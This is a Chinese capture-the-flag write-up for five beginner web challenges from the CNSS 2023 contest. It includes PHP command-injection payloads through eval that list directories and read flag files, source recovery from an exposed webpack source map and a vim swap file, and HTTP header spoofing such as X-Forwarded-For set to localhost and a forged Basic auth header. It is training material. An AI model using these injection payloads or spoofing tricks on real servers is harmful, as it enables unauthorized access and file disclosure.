2023CNSS——WEB题解（持续更新）

[Baby] SignIn

进来看到

按钮点击不了，想到去修改代码，要“检查“，但这里的右键和F12都不可用
还好还有其他方法
检查的各种方法

选用一种后进入检查页面

删掉这里的disabled即可

点击后得到flag

[Baby] Backdoor

进入，看到

有eval，利用命令执行漏洞

cnss=system('ls /');

获取flag文件夹里的文件名:

cnss=system('ls /flag');

获取flag：

cnss=system('cat //flag');

[Baby] Webpack

了解一下什么是Webpack，及其有什么漏洞

Webpack是一个用于构建现代Web应用程序的开源JavaScript模块打包工具。它可以将多个JavaScript、CSS、图片等资源打包成一个或多个优化后的bundle文件，以提高应用程序的性能和加载速度。Webpack通过模块化的方式管理代码，使开发者可以以模块化的方式编写代码，然后通过Webpack将这些模块打包成可在浏览器中执行的代码。

可能有源代码泄漏：不正确的配置可能导致打包后的源代码在生产环境中被泄漏。这道题就是此漏洞，具体利用方式如下：

进入题目，看到

检查，找到.js文件

知道其路径为:http://124.221.34.13:50003/static/js/main.c91fb7d1.js

访问http://124.221.34.13:50003/static/js/main.c91fb7d1.js.map，就成功下载了源代码

此文件还需要还原，先安装工具
如何还原前端代码

请随便选一个文件夹（记得把源代码移进去），打开cmd

还原:reverse-sourcemap -v main.c91fb7d1.js.map -o output，得到还原后的代码

找到flag

[Easy] Leak

得看一下题目描述

先了解一下上面情况会出现什么漏洞：
使用vim时会创建临时缓存文件，关闭vim时缓存文件则会被删除

当vim异常退出后，因为未处理缓存文件，导致可以通过缓存文件恢复原始文件内容

以 index.php 为例：第一次产生的交换文件名为 .index.php.swp

再次意外退出后，将会产生名为 .index.php.swo 的交换文件

第三次产生的交换文件则为 .index.php.swn
——————————
来获取.index.php.swp，并整理其中代码

查看根目录文件：

/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system('ls /');

得到flag：

/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system('cat  /fl4444444g');

[Easy] ezhttp

进来，看到

http的题目一般来说直接抓包，再去一步一步地满足要求
1

在文件开头把GET修改为CNSS

CNSS /Index HTTP/1.1

2

修改User-Agent

User-Agent: Mozilla/5.0 (Linux; Android 10; XXX Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.96 Mobile Safari/537.36 MicroMessenger/8.0.0.1920(0x2800004D) Process/appbrand2 WeChat/arm32

3

修改Referer

Referer:cnss.io

4

修改X-Forwarded-For

X-Forwarded-For:127.0.0.1

5

修改HOST

Host: uestc.edu.cn

6

修改Content-Type

Content-Type: application/json

7
在最下面胡乱输入

8

给一个json数据

{"name": "Alice","age": 25
}

9

把一个数据命名为password

{"password": "Alice","age": 25
}

10

把一个数据命名为name

{"name": "Alice","password": "25"
}

11

json和Cookie改为相同

12

先了解如何在HTTP请求中表示Basic认证：

构建认证字符串：将用户名和密码用冒号分隔，然后将该字符串进行Base64编码。例如，如果用户名是 "username"，密码是 "password"，您可以将它们合并并进行Base64编码得到 "dXNlcm5hbWU6cGFzc3dvcmQ="。添加认证头部：将Base64编码后的认证字符串添加到HTTP请求头的 "Authorization" 字段中，使用 "Basic" 前缀。 Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=

方法:修改Authorization

Authorization: Basic MTIzOjEyMzQ1Ng==

————————————————————
得到flag咯：